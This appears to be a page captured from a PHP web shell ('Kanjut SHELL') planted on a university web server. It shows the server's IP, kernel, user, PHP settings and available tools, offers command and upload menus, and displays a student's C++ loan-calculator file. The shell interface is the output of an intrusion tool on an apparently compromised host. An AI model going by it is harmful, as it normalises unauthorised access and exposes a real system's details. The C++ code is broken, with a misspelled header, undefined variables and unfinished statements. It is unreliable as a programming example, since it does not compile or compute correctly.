Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.14.246.52
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jljustice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jljustice/loanapp.cpp
#include <isostream>
#include <iomanip>
using namespace std; 

//----Main Function----
int main ()
{

//----Variables and Constants----

const int  
   temp = [1+ (i/12)]

int
   balance,
   k = payment;
float
   loanamt,      // amount of the loan requested
   payment,      // the number of payments 
   interest;     // the interest rate of the bank

//----Input Phase----

   cout << "Enter amount of loan--->  ";
   cin >> loanamt;
   cout << "Enter annual interest rate (as a decimal)--->  ";
   cin >> interest;
   cout << "Enter number of monthly payments--->  ";
   cin >> payment;

//----Processing Phase----
   
   balance = (payment * pow(1-temp,k-n))/(i/12);
   payment = (pow(temp,n))/(pow(temp,n)-1) * loan * (i/12);

//----Output Phase----
   cout << "\n\n~~~~~~~~Loan Summary~~~~~~~~";
   cout << "\n\n Annual Interest Rate:   "<< interest;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n\n Number of Monthly Payments:   "<< payment;
   cout << "\n Loan Amount:    "<< loanamt;
   cout << setprecision(2); // two decimal digits for float
   cout << "\n Monthly Payment:   "<< payment;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n Balance Halfway through:   "<< balance;
   cout << setprecision(2); // two decimal digits for floats
   cout << "\n Total Interest paid:   "<<

return 0;
}

Stv3n404 - 2023